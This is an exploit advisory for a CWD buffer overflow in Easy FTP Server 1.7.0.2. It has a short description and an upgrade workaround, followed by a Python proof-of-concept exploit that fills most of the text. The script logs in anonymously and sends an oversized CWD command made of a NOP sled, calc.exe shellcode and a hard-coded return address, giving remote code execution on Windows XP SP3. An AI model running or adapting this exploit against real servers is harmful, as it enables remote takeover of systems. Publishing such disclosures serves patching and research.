• Other vulnerabilities covered in bid:38262 *

=== Infos ===

Credit: loneferret
Found: 18/02/10
Versions affected <= 1.7.0.2

=== Description ===

Lack of input length checks for the CWD command result in a buffer overflow vulnerability, allowing the execution of arbitrary code by a remote attacker.

=== Workaround ===

Upgrade to the latest version - 1.7.0.12

=== PoC ===

#!/usr/bin/python
import socket, sys

print """

---

•   Easy FTP Server 1.7.0.2 Remote BoF      *
  

•       Discovered by: Jon Butler           *
  

•   jonbutler88[at]googlemail[dot]com       *
  

---

"""

if len(sys.argv) != 3:
print "Usage: ./easyftp.py <Target IP> <Port>"
sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])

Calc.exe PoC shellcode - Tested on XP Pro SP3 (Eng)

shellcode = ("\xba\x20\xf0\xfd\x7f\xc7\x02\x4c\xaa\xf8\x77"
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\xC7\x93\xC2\x77"
"\xFF\xD1\xEB\xF7")

nopsled = "\x90" * (268 - len(shellcode))

ret = "\x58\xFD\x9A\x00"

payload = nopsled + shellcode + ret # 272 bytes

print "[+] Launching exploit against " + target + "…"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect=s.connect((target, port))
print "[+] Connected!"
except:
print "[!] Connection failed!"
sys.exit(0)
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)

Send payload…

print "[+] Sending payload…"
s.send('CWD ' + payload + '\r\n')
try:
s.recv(1024)
print "[!] Exploit failed…"
except:
print "[+] Exploited ^_^"